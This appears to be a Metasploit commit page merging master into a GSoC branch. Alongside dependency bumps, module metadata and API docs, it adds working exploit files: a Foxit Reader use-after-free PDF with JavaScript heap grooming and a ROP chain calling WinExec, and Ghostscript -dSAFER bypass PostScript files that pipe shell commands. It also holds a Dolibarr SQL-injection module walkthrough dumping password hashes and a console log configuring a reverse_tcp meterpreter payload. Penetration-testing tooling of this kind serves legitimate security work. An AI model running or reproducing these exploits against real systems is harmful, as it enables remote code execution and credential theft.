Merge changes from master (ghostscript)

GSoC/Meterpreter_Web_Console
Erin Bleiweiss 2018-09-17 13:57:28 -05:00
commit 011c25ed59
No known key found for this signature in database
GPG Key ID: F69B2138BD594660
85 changed files with 2792 additions and 743 deletions

View File

@ -18,7 +18,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.45)
metasploit-payloads (= 1.3.47)
metasploit_data_models
metasploit_payloads-mettle (= 0.4.1)
mqtt
@ -109,7 +109,7 @@ GEM
arel (6.0.4)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
backports (3.11.3)
backports (3.11.4)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bindata (2.4.3)
@ -125,16 +125,16 @@ GEM
docile (1.3.1)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (4.11.0)
factory_bot (4.11.1)
activesupport (>= 3.0.0)
factory_bot_rails (4.11.0)
factory_bot (~> 4.11.0)
factory_bot_rails (4.11.1)
factory_bot (~> 4.11.1)
railties (>= 3.0.0)
faker (1.9.1)
i18n (>= 0.7)
faraday (0.15.2)
multipart-post (>= 1.2, < 3)
filesize (0.1.1)
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
i18n (0.9.5)
@ -164,7 +164,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.45)
metasploit-payloads (1.3.47)
metasploit_data_models (3.0.0)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -188,7 +188,7 @@ GEM
nexpose (7.2.1)
nokogiri (1.8.4)
mini_portile2 (~> 2.3.0)
octokit (4.10.0)
octokit (4.12.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openvas-omp (0.0.4)
@ -232,7 +232,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.1)
rb-readline (0.5.5)
recog (2.1.20)
recog (2.1.22)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@ -307,12 +307,12 @@ GEM
rspec-support (3.8.0)
ruby-macho (2.0.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.3)
ruby_smb (1.0.4)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.1)
rubyzip (1.2.2)
sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0)
@ -370,4 +370,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.16.3
1.16.4

View File

@ -0,0 +1,125 @@
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
<%= rop %>
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>

View File

@ -0,0 +1,9 @@
%!PS
userdict /setpagedevice undef
a0
currentpagedevice /HWResolution get 0 (metasploit) put
{ grestore } stopped pop
(ppmraw) selectdevice
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
{ showpage } stopped pop
quit

View File

@ -0,0 +1,81 @@
%!PS
% This is ghostscript bug #699687 (split out from bug #699654)
% ImageMagick define setpagedevice, just remove their definition. This doesn't
% do anything if not using ImageMagick.
userdict /setpagedevice undef
% function to check if we're on Linux or Windows
/iswindows {
% Just checking if paths contain drive
null (w) .tempfile closefile 1 get 16#3A eq
} def
% just select a papersize to initialize page device
a0
% The bug is that if you can make grestore or restore fail non-fatally,
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
% properties in your pagedevice, like a nonsense resolution.
%
% Normally it would be something like [72.0 72.0], but you can't just def
% HWResolution to something else (for example), because it's readonly:
%
% GS>currentpagedevice wcheck ==
% false
%
% But you can just put or astore into it, because the array itself is writable:
% GS>currentpagedevice /HWResolution get wcheck ==
% true
%
% Lets just put some junk in there.
currentpagedevice /HWResolution get 0 (foobar) put
% This grestore will fail, stopped just catches the error instead of aborting.
{ grestore } stopped pop
% Now LockSafetyParams will be incorrectly unset, you can check like this:
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
% false
% We can change and configure devices now, so make sure we're using one with
% a OutputFile property.
(ppmraw) selectdevice
% Check if we're on Windows or UNIX
iswindows {
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
%
% The graphical version doesn't seem to support %pipe%, but you can create
% arbitrary files. If something is using the api (gs32dll.dll), it may or
% may not support %pipe%.
/getstartupdirwindows {
% This figures out startup location from %TEMP% (Tested on Win10)
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
} def
% (directory) (extension) randfile (result)
/randfile {
% pick a random filename
exch rand 32 string cvs concatstrings exch concatstrings
} def
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
% if you need to create files, use txtwrite like this:
%mark /OutputFile getstartupdirwindows (.bat) randfile
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
%0 0 moveto
%(REM This is an exploit demo\n) show
%(calc.exe\n) show
} {
% This is UNIX, just run a shell command
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
} ifelse
{ showpage } stopped pop
quit

View File

@ -8491,12 +8491,14 @@
"type": "auxiliary",
"author": [
"Richard Davy - secureyourit.co.uk",
"Lnk Creation Code by Mubix"
"Lnk Creation Code by Mubix",
"asoto-r7"
],
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
"references": [
"URL-https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018",
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/"
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/",
"URL-https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/"
],
"is_server": false,
"is_client": false,
@ -8504,7 +8506,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2018-06-10 21:53:40 +0000",
"mod_time": "2018-09-05 11:51:48 +0000",
"path": "/modules/auxiliary/fileformat/multidrop.rb",
"is_install_path": true,
"ref_name": "fileformat/multidrop",
@ -24622,7 +24624,7 @@
"arch": "",
"rport": 445,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-09-10 15:04:22 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enum_gpp",
@ -25568,7 +25570,7 @@
"arch": "",
"rport": 22,
"targets": null,
"mod_time": "2018-08-15 21:27:40 +0000",
"mod_time": "2018-09-05 23:10:28 +0000",
"path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/fortinet_backdoor",
@ -25667,7 +25669,7 @@
"arch": "",
"rport": 22,
"targets": null,
"mod_time": "2018-08-22 14:48:06 +0000",
"mod_time": "2018-09-05 23:10:28 +0000",
"path": "/modules/auxiliary/scanner/ssh/ssh_enumusers.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/ssh_enumusers",
@ -27318,7 +27320,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/ftp.rb",
"is_install_path": true,
"ref_name": "server/capture/ftp",
@ -27346,7 +27348,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/http.rb",
"is_install_path": true,
"ref_name": "server/capture/http",
@ -27373,7 +27375,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/http_basic.rb",
"is_install_path": true,
"ref_name": "server/capture/http_basic",
@ -27401,7 +27403,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/http_javascript_keylogger.rb",
"is_install_path": true,
"ref_name": "server/capture/http_javascript_keylogger",
@ -27456,7 +27458,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/imap.rb",
"is_install_path": true,
"ref_name": "server/capture/imap",
@ -27483,7 +27485,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/mssql.rb",
"is_install_path": true,
"ref_name": "server/capture/mssql",
@ -27510,7 +27512,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/mysql.rb",
"is_install_path": true,
"ref_name": "server/capture/mysql",
@ -27538,7 +27540,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/pop3.rb",
"is_install_path": true,
"ref_name": "server/capture/pop3",
@ -27565,7 +27567,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/postgresql.rb",
"is_install_path": true,
"ref_name": "server/capture/postgresql",
@ -27676,7 +27678,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/smtp.rb",
"is_install_path": true,
"ref_name": "server/capture/smtp",
@ -27703,7 +27705,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:02:33 +0000",
"path": "/modules/auxiliary/server/capture/telnet.rb",
"is_install_path": true,
"ref_name": "server/capture/telnet",
@ -27730,7 +27732,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-04-20 16:34:51 +0000",
"path": "/modules/auxiliary/server/capture/vnc.rb",
"is_install_path": true,
"ref_name": "server/capture/vnc",
@ -29003,6 +29005,36 @@
"post_auth": true,
"default_credential": true
},
"auxiliary_sqli/oracle/dolibarr_list_creds": {
"name": "Dolibarr List Creds",
"full_name": "auxiliary/sqli/oracle/dolibarr_list_creds",
"rank": 300,
"disclosure_date": "2018-05-30",
"type": "auxiliary",
"author": [
"Issam Rabhi",
"Kevin Locati",
"Shelby Pace"
],
"description": "This module enables an authenticated user to collect the usernames and encrypted passwords of other users in the Dolibarr ERP/CRM via SQL injection.",
"references": [
"CVE-2018-10094",
"EDB-44805"
],
"is_server": false,
"is_client": false,
"platform": "",
"arch": "",
"rport": 80,
"targets": null,
"mod_time": "2018-08-31 08:41:25 +0000",
"path": "/modules/auxiliary/sqli/oracle/dolibarr_list_creds.rb",
"is_install_path": true,
"ref_name": "sqli/oracle/dolibarr_list_creds",
"check": false,
"post_auth": true,
"default_credential": true
},
"auxiliary_sqli/oracle/droptable_trigger": {
"name": "Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger",
"full_name": "auxiliary/sqli/oracle/droptable_trigger",
@ -41383,6 +41415,40 @@
"post_auth": false,
"default_credential": false
},
"exploit_multi/fileformat/ghostscript_failed_restore": {
"name": "Ghostscript Failed Restore Command Execution",
"full_name": "exploit/multi/fileformat/ghostscript_failed_restore",
"rank": 600,
"disclosure_date": "2018-08-21",
"type": "exploit",
"author": [
"Tavis Ormandy",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a -dSAFER bypass in Ghostscript to execute\n arbitrary commands by handling a failed restore (grestore) in\n PostScript to disable LockSafetyParams and avoid invalidaccess.\n\n This vulnerability is reachable via libraries such as ImageMagick,\n and this module provides the latest vector for Ghostscript.\n\n For previous Ghostscript vectors, please see the following modules:\n exploit/unix/fileformat/ghostscript_type_confusion\n exploit/unix/fileformat/imagemagick_delegate",
"references": [
"CVE-2018-16509",
"URL-http://seclists.org/oss-sec/2018/q3/142",
"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1640"
],
"is_server": false,
"is_client": false,
"platform": "Linux,Unix,Windows",
"arch": "cmd, x86, x64",
"rport": null,
"targets": [
"Unix (In-Memory)",
"PowerShell (In-Memory)",
"Linux (Dropper)"
],
"mod_time": "2018-09-07 14:33:25 +0000",
"path": "/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb",
"is_install_path": true,
"ref_name": "multi/fileformat/ghostscript_failed_restore",
"check": false,
"post_auth": false,
"default_credential": false
},
"exploit_multi/fileformat/js_unpacker_eval_injection": {
"name": "Javascript Injection for Eval-based Unpackers",
"full_name": "exploit/multi/fileformat/js_unpacker_eval_injection",
@ -46116,6 +46182,43 @@
"post_auth": false,
"default_credential": false
},
"exploit_multi/http/struts2_namespace_ognl": {
"name": "Apache Struts 2 Namespace Redirect OGNL Injection",
"full_name": "exploit/multi/http/struts2_namespace_ognl",
"rank": 600,
"disclosure_date": "2018-08-22",
"type": "exploit",
"author": [
"Man Yue Mo",
"hook-s3c",
"asoto-r7",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.",
"references": [
"CVE-2018-11776",
"URL-https://lgtm.com/blog/apache_struts_CVE-2018-11776",
"URL-https://cwiki.apache.org/confluence/display/WW/S2-057",
"URL-https://github.com/hook-s3c/CVE-2018-11776-Python-PoC"
],
"is_server": true,
"is_client": false,
"platform": "",
"arch": "",
"rport": 8080,
"targets": [
"Automatic detection",
"Windows",
"Linux"
],
"mod_time": "2018-09-07 14:48:33 +0000",
"path": "/modules/exploits/multi/http/struts2_namespace_ognl.rb",
"is_install_path": true,
"ref_name": "multi/http/struts2_namespace_ognl",
"check": true,
"post_auth": false,
"default_credential": false
},
"exploit_multi/http/struts2_rest_xstream": {
"name": "Apache Struts 2 REST Plugin XStream RCE",
"full_name": "exploit/multi/http/struts2_rest_xstream",
@ -46146,7 +46249,7 @@
"Linux (Dropper)",
"Windows (Dropper)"
],
"mod_time": "2018-08-28 15:56:45 +0000",
"mod_time": "2018-08-30 15:55:14 +0000",
"path": "/modules/exploits/multi/http/struts2_rest_xstream.rb",
"is_install_path": true,
"ref_name": "multi/http/struts2_rest_xstream",
@ -50560,7 +50663,7 @@
"Atlassian Security Team",
"hdm <x@hdm.io>"
],
"description": "This module exploits a type confusion vulnerability in Ghostscript that can\n be exploited to obtain arbitrary command execution. This vulnerability affects\n Ghostscript version 9.21 and earlier and can be exploited through libraries\n such as ImageMagick and Pillow.",
"description": "This module exploits a type confusion vulnerability in Ghostscript that can\n be exploited to obtain arbitrary command execution. This vulnerability affects\n Ghostscript versions 9.21 and earlier and can be exploited through libraries\n such as ImageMagick and Pillow.\n\n For more recent Ghostscript vectors, please see the following modules:\n exploit/multi/fileformat/ghostscript_failed_restore",
"references": [
"AKA-ghostbutt",
"CVE-2017-8291",
@ -50577,7 +50680,7 @@
"targets": [
"EPS file"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-09-05 16:55:46 +0000",
"path": "/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb",
"is_install_path": true,
"ref_name": "unix/fileformat/ghostscript_type_confusion",
@ -50594,10 +50697,11 @@
"author": [
"stewie",
"Nikolay Ermishkin",
"Tavis Ormandy",
"wvu <wvu@metasploit.com>",
"hdm <x@hdm.io>"
],
"description": "This module exploits a shell command injection in the way \"delegates\"\n (commands for converting files) are processed in ImageMagick versions\n <= 7.0.1-0 and <= 6.9.3-9 (legacy).\n\n Since ImageMagick uses file magic to detect file format, you can create\n a .png (for example) which is actually a crafted SVG (for example) that\n triggers the command injection.\n\n The PostScript (PS) target leverages a Ghostscript -dSAFER bypass\n (discovered by taviso) to achieve RCE in the Ghostscript delegate.\n Ghostscript versions 9.18 and later are affected.\n\n If USE_POPEN is set to true, a |-prefixed command will be used for the\n exploit. No delegates are involved in this exploitation.",
"description": "This module exploits a shell command injection in the way \"delegates\"\n (commands for converting files) are processed in ImageMagick versions\n <= 7.0.1-0 and <= 6.9.3-9 (legacy).\n\n Since ImageMagick uses file magic to detect file format, you can create\n a .png (for example) which is actually a crafted SVG (for example) that\n triggers the command injection.\n\n The PostScript (PS) target leverages a Ghostscript -dSAFER bypass\n (discovered by taviso) to achieve RCE in the Ghostscript delegate.\n Ghostscript versions 9.18 and later are affected. This target is\n provided as is and will not be updated to track additional vulns.\n\n For more recent Ghostscript vectors, please see the following modules:\n exploit/multi/fileformat/ghostscript_failed_restore\n exploit/unix/fileformat/ghostscript_type_confusion\n\n If USE_POPEN is set to true, a |-prefixed command will be used for the\n exploit. No delegates are involved in this exploitation.",
"references": [
"CVE-2016-3714",
"CVE-2016-7976",
@ -50606,7 +50710,8 @@
"URL-http://seclists.org/oss-sec/2016/q3/682",
"URL-https://github.com/ImageMagick/ImageMagick/commit/06c41ab",
"URL-https://github.com/ImageMagick/ImageMagick/commit/a347456",
"URL-http://permalink.gmane.org/gmane.comp.security.oss.general/19669"
"URL-http://permalink.gmane.org/gmane.comp.security.oss.general/19669",
"AKA-ImageTragick"
],
"is_server": true,
"is_client": false,
@ -50618,7 +50723,7 @@
"MVG file",
"PS file"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-09-05 16:55:46 +0000",
"path": "/modules/exploits/unix/fileformat/imagemagick_delegate.rb",
"is_install_path": true,
"ref_name": "unix/fileformat/imagemagick_delegate",
@ -68491,7 +68596,7 @@
"targets": [
"Windows 10 Pro x64 Build 17134"
],
"mod_time": "2018-08-29 10:59:36 +0000",
"mod_time": "2018-09-05 21:47:57 +0000",
"path": "/modules/exploits/windows/fileformat/foxit_reader_uaf.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/foxit_reader_uaf",
@ -89737,7 +89842,7 @@
"targets": [
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
],
"mod_time": "2018-07-10 11:05:00 +0000",
"mod_time": "2018-08-29 23:53:58 +0000",
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms17_010_eternalblue",
@ -108170,6 +108275,34 @@
"post_auth": false,
"default_credential": false
},
"post_linux/gather/phpmyadmin_credsteal": {
"name": "Phpmyadmin credentials stealer",
"full_name": "post/linux/gather/phpmyadmin_credsteal",
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Chaitanya Haritash [bofheaded]",
"Dhiraj Mishra <dhiraj@notsosecure.com>"
],
"description": "This module gathers Phpmyadmin creds from target linux machine.",
"references": [
],
"is_server": false,
"is_client": false,
"platform": "Linux",
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2018-09-07 11:13:09 +0000",
"path": "/modules/post/linux/gather/phpmyadmin_credsteal.rb",
"is_install_path": true,
"ref_name": "linux/gather/phpmyadmin_credsteal",
"check": false,
"post_auth": false,
"default_credential": false
},
"post_linux/gather/pptpd_chap_secrets": {
"name": "Linux Gather PPTP VPN chap-secrets Credentials",
"full_name": "post/linux/gather/pptpd_chap_secrets",
@ -108876,7 +109009,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2018-07-05 14:33:51 +0000",
"mod_time": "2018-09-10 15:25:09 +0000",
"path": "/modules/post/multi/gather/jenkins_gather.rb",
"is_install_path": true,
"ref_name": "multi/gather/jenkins_gather",
@ -109719,7 +109852,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2018-02-21 02:54:38 +0000",
"mod_time": "2018-09-04 16:46:20 +0000",
"path": "/modules/post/multi/manage/shell_to_meterpreter.rb",
"is_install_path": true,
"ref_name": "multi/manage/shell_to_meterpreter",
@ -111348,7 +111481,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-09-10 15:04:22 +0000",
"path": "/modules/post/windows/gather/credentials/gpp.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/gpp",
@ -111569,7 +111702,7 @@
"arch": "",
"rport": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-09-10 15:14:38 +0000",
"path": "/modules/post/windows/gather/credentials/mremote.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/mremote",

View File

@ -3,6 +3,7 @@ require 'swagger/blocks'
module ModuleSearchApiDoc
include Swagger::Blocks
AKA_DESC = 'Filter modules with a matching AKA name.'
APP_DESC = 'Filter modules that are client or server attacks. (Accepts strings \'client\' or \'server\').'
ARCH_DESC = 'Filter modules with a matching architecture.'
AUTHOR_DESC = 'Filter modules written by a matching author.'
@ -33,7 +34,8 @@ module ModuleSearchApiDoc
TARGETS_DESC = 'Alias for \'target\'.'
TEXT_DESC = 'Filter modules matching any one of name, full name, description, reference, author, or targets.'
TYPE_DESC = 'Filter modules with a matching type (exploit, auxiliary, payload, etc.).'
FIELDS_DESC = 'Provide a comma-delimited list of metadata fields you would like to return. If left blank, all fields will be returned. Valid field names are: \'name\', \'full_name\', \'fullname\', \'arch\', \'author\', \'author\', \'description\', \'disclosure_date\', \'cve\', \'edb\', \'bid\', \'mod_time\', \'is_client\', \'is_server\', \'is_install_path\', \'os\', \'platform\', \'reference\', \'references\', \'ref_name\', \'ref\', \'path\', \'port\', \'rport\', \'rank\', \'type\', \'target\', \'targets\''
FIELDS_DESC = 'Provide a comma-delimited list of metadata fields you would like to return. If left blank, all fields will be returned. Valid field names are: \'name\', \'full_name\', \'fullname\', \'aka\', \'arch\', \'author\', \'author\', \'description\', \'disclosure_date\', \'cve\', \'edb\', \'bid\', \'mod_time\', \'is_client\', \'is_server\', \'is_install_path\', \'os\', \'platform\', \'reference\', \'references\', \'ref_name\', \'ref\', \'path\', \'port\', \'rport\', \'rank\', \'type\', \'target\', \'targets\''
NOTES_DESC = 'Extra info for a module, such as AKA names or NOCVE explanations.'
TYPE_ENUM = [
'auxiliary',
@ -59,7 +61,6 @@ module ModuleSearchApiDoc
'thelightcosine'
]
REFERENCES_EXAMPLE = [
'AKA-ETERNALBLUE',
'MSB-MS17-010',
'CVE-2017-0143',
'CVE-2017-0144',
@ -81,6 +82,9 @@ module ModuleSearchApiDoc
TARGETS_EXAMPLE = [
'Windows 7 and Server 2008 R2 (x64) All Service Packs'
]
NOTES_EXAMPLE = {
'AKA' => [ 'ETERNALBLUE' ]
}
# Swagger documentation for Module Search model
@ -103,6 +107,7 @@ module ModuleSearchApiDoc
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE
property :is_install_path, type: :boolean, description: IS_INSTALL_PATH_DESC, example: IS_INSTALL_PATH_EXAMPLE
property :targets, description: TARGET_DESC, example: TARGETS_EXAMPLE, type: :array do items type: :string end
property :notes, description: NOTES_DESC, example: NOTES_EXAMPLE, type: :hash do items type: :hash end
end
@ -114,6 +119,7 @@ module ModuleSearchApiDoc
key :tags, [ 'module' ]
parameters = {
:aka => AKA_DESC,
:app => APP_DESC,
:arch => ARCH_DESC,
:author => AUTHOR_DESC,

View File

@ -0,0 +1,49 @@
## Description
This module enables an authenticated user to collect usernames and encrypted passwords of other users of the ERP/CRM Dolibarr software via SQL injection.
Checks in the Dolibarr software can be bypassed by url-encoding the SQL commands, provided that the commands do not contain quotes.
## Vulnerable Application
Dolibarr ERP/CRM Software versions < v7.0.2. Dolibarr v7.0.0 can be found [here](https://www.exploit-db.com/apps/04b0bb4b4864117b5bf47c0fcc737254-dolibarr-7.0.0.tar.gz).
By default, user accounts do not have access to view the list of other users of the software. The admin account must first be used to enable the members page, create general users, and give those users permission to access the members page.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/sqli/oracle/dolibarr_list_creds```
4. Do: ```set RHOSTS [IP]```
5. Do: ```set USERNAME [USER]```
6. Do: ```set PASSWORD [PASS]```
7. Do: ```set TARGETURI [URI]```
8. Do: ```run```
9. You should get a list of credentials
## Scenarios
### Tested on Dolibarr v7.0.0 running on Ubuntu 18.04
```
msf5 > use auxiliary/sqli/oracle/dolibarr_list_creds
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set username test
username => test
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set password blah
password => blah
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set targeturi /dolibarr
targeturi => /dolibarr
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set rhosts 192.168.37.228
rhosts => 192.168.37.228
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > run
[*] Logging in...
[+] Successfully logged into Dolibarr
[+] Accessed credentials
[+] user 8456167fd64d3cda366bda95088dda4d7ea94995
[+] test 9d49884ec5f2c8431572a73e3285ceed3f0bdc5b
[+] blahBlah e345d4aa5a6a63f828870b0d299dd921d119a5c7
[+] someUser fe79b08f9f6a1104a141ff65047087a36d926f12
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,77 @@
## Intro
This module exploits a `-dSAFER` bypass in Ghostscript to execute
arbitrary commands by handling a failed `restore` (`grestore`) in
PostScript to disable `LockSafetyParams` and avoid `invalidaccess`.
This vulnerability is reachable via libraries such as ImageMagick,
and this module provides the latest vector for Ghostscript.
For previous Ghostscript vectors, please see the following modules:
`exploit/unix/fileformat/ghostscript_type_confusion`
`exploit/unix/fileformat/imagemagick_delegate`
## Setup
Install Ghostscript and use the console command (`gs` on Unix and
`gswin64c` on Windows). You may also exploit the vulnerability through
ImageMagick using `convert` or `identify`, for example.
## Targets
```
Id Name
-- ----
0 Unix (In-Memory)
1 PowerShell (In-Memory)
2 Linux (Dropper)
```
## Options
**FILENAME**
Set this to the output file's name. Depending on the target environment,
the file extension may not matter, so the PS file could be named
`msf.pdf`, for instance. This can potentially work around filename
filters.
**WritableDir**
Set this to a writable directory without `noexec`.
## Usage
```
msf5 > use exploit/multi/fileformat/ghostscript_failed_restore
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper)
target => Linux (Dropper)
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1
lhost => 172.28.128.1
